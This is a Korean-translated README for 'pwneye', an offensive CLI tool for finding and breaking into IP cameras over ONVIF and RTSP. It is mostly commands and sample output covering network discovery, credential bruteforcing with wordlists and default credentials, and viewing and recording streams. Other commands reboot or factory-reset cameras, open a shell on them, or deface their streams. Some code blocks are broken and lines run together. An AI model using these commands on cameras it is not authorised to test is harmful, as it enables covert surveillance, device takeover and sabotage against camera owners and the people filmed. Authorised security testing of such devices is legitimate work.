
ONVIF 및 RTSP 카메라 동반 도구로, 실제 보안 카메라를 발견하고 해킹하기 위한 도구입니다 🎥
pwneye는 ONVIF 및 RTSP 서비스를 노출하는 IP 카메라를 대상으로 하는 집중적이고 휴대 가능한 공격적 보안 도구로, 보안 연구원과 해커가 단일 CLI 워크플로우에서 탐지, 인증 테스트, 메타데이터 수집, 스트림 검증, 녹화 및 후속 조치를 쉽게 처리할 수 있도록 설계되었습니다.
현재 지원되는 기능 중 일부는 다음과 같습니다:
ffplay를 통한 실시간 미리보기, ffmpeg를 통한 녹화 및 스냅샷 캡처~/.pwneye 아래에 대상별로 캐싱https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c
GitHub에서 pwneye를 시스템 전체 CLI 명령으로 설치합니다:```bash
pipx install git+https://github.com/Hackerest/pwneye.git
pwneye --help
Uninstall it:```bash
pipx uninstall pwneye
나중에 동일한 GitHub 소스에서 업그레이드하세요:```bash pipx upgrade pwneye
### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help
나중에 동일한 GitHub 소스에서 업그레이드하세요:```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt
### 외부 종속성
사용하는 모드에 따라 다음 도구가 `PATH`에 있어야 합니다:
- `ffplay`
- `ffprobe`
- 녹화용 `ffmpeg`
| 플랫폼 | 설치 명령어 |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |
## 시작하기
이 도구에 가장 빠르게 접근할 수 있는 진입점을 사용하세요. 여기서 목표는 모든 플래그를 문서화하는 것이 아니라, 이미 알고 있는 내용에 따라 카메라 작업을 시작하는 가장 유용한 방법을 보여주는 것입니다.
단일 대상을 보유하고 있고 `pwneye`가 프로토콜 선택 작업을 대신 수행하도록 하려면 기본 전체 워크플로우부터 시작하세요:```bash
pwneye -t 192.168.1.135
ONVIF 디스커버리를 사용하면 동일한 로컬 네트워크에 있을 때 RTSP를 건드리기 전에 장치, 공급업체 및 스트림 단서를 식별할 수 있습니다:```bash pwneye --discover
ONVIF가 관련 없거나, 사용할 수 없거나, 이미 테스트하려는 대상을 알고 있을 때는 RTSP에서 바로 시작하세요:```bash
pwneye -t 192.168.1.135 --skip-onvif
Start from known or suspected credentials when you want to reduce noise and validate access quickly:```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123
알려진 경로나 경로 템플릿에서 시작하면, 이미 스트림 단서가 있고 RTSP 요청을 엄격하게 제어하려는 경우에 유용합니다:```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'
증명 스트림이 확보되면 증거 수집을 시작합니다:```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record
유용하게 기억해 둘 플래그:
- `--vendor VENDOR`: 장치 제품군을 이미 알고 있을 때 RTSP 요청 수를 줄임
- `-cn, --connection-string PATH`: 알려진 RTSP 경로 또는 후보 경로가 담긴 파일을 시도
- `--multi-channel`: DVR/NVR 스타일 대상을 의심할 때 채널 기반 RTSP 경로를 우선 사용
- `--threads N`: ONVIF 및 RTSP 무차별 대입 공격의 동시성 제어
- `--skip-onvif` / `--skip-rtsp`: 한 프로토콜에만 집중
- `--no-cache`: 캐시에서 읽거나 캐시에 쓰지 않음
- `--fresh`: 캐시 읽기는 무시하되 새 발견 사항은 여전히 기록
## ONVIF
ONVIF는 카메라 세계의 관리 및 제어 측면입니다. 실제로는 검색, 인증, 메타데이터 추출, 미디어 프로필 열거, 스트림 URI 검색, 재부팅 같은 장치 작업에 유용합니다.
`pwneye`에서 ONVIF는 일반적으로 인증 후 가장 풍부한 컨텍스트를 제공하고, 카메라가 노출하는 내용을 이해하는 가장 깔끔한 경로이며, 인증된 계정이 충분한 권한을 가질 때 장치에서 실제 관리 작업에 접근할 수 있게 해주는 프로토콜입니다.
### ONVIF가 제공하는 것
카메라가 ONVIF를 노출하면 `pwneye`는 이를 사용하여 다음을 수행할 수 있습니다:
- WS-Discovery를 통해 로컬 네트워크에서 카메라 검색
- 고정 자격 증명 또는 파일을 사용하여 ONVIF 인증 테스트
- 제조업체 및 장치 메타데이터 추출
- 장치가 노출하는 RTSP 스트림 URI 검색
- RTSP를 더 공격적으로 다루기 전에 유용한 인증 후 컨텍스트 열거
- `--reboot`로 인증된 재부팅 요청
- `--reset`으로 인증된 공장 초기화 요청
- CLI 또는 전용 뷰어에서 PTZ 지원 카메라 이동
- `--shell`로 인증된 대화형 셸 열기
- `--deface`로 ONVIF를 통한 스트림 변조
- `--undeface`로 마지막으로 저장된 변조 프로필 복원
### 로컬 네트워크 열거
WS-Discovery를 사용하여 로컬 네트워크에서 ONVIF 지원 장치를 식별합니다:```
pwneye --discover
[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)
Host: 192.168.1.135
Port: 80
Protocol: http
Types: Device
XAddrs: http://192.168.1.135:80/onvif/device_service
Manufacturer: Tenda
Name: CP3Pro
Hardware: CP3Pro
MAC: XX:XX:XX:XX:XX:XX
Country: China
Profiles: Streaming
Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder
[success] ONVIF discovery stopped by user after identifying 1 device(s)
탐색 루프는 몇 초마다 계속 프로빙하며, 새로 발견된 장치만 출력하고 CTRL-C로 중지할 수 있습니다.
특정 네트워크 인터페이스를 통해 탐색을 강제할 수도 있습니다:```bash pwneye --discover en0 pwneye --discover eth0
When no interface is specified, `pwneye` automatically chooses the default outbound interface and tells you which target subnet it is using for WS-Discovery.
### Bruteforcing Credentials
Run ONVIF-only bruteforce with a fixed username and a password file:```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y):
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345
유용한 옵션:
--skip-onvif: ONVIF 탐지 및 열거 건너뛰기-oP, --onvif-port PORT: 특정 ONVIF 포트 테스트-ou, --onvif-username USER: ONVIF 사용자 이름 또는 줄마다 하나의 사용자 이름이 있는 파일-op, --onvif-password PASS: ONVIF 비밀번호 또는 줄마다 하나의 비밀번호가 있는 파일-ou 및 -op를 지정하지 않으면 pwneye는 자동으로 내장된 일반적인 ONVIF 사용자 이름과 비밀번호로 대체합니다.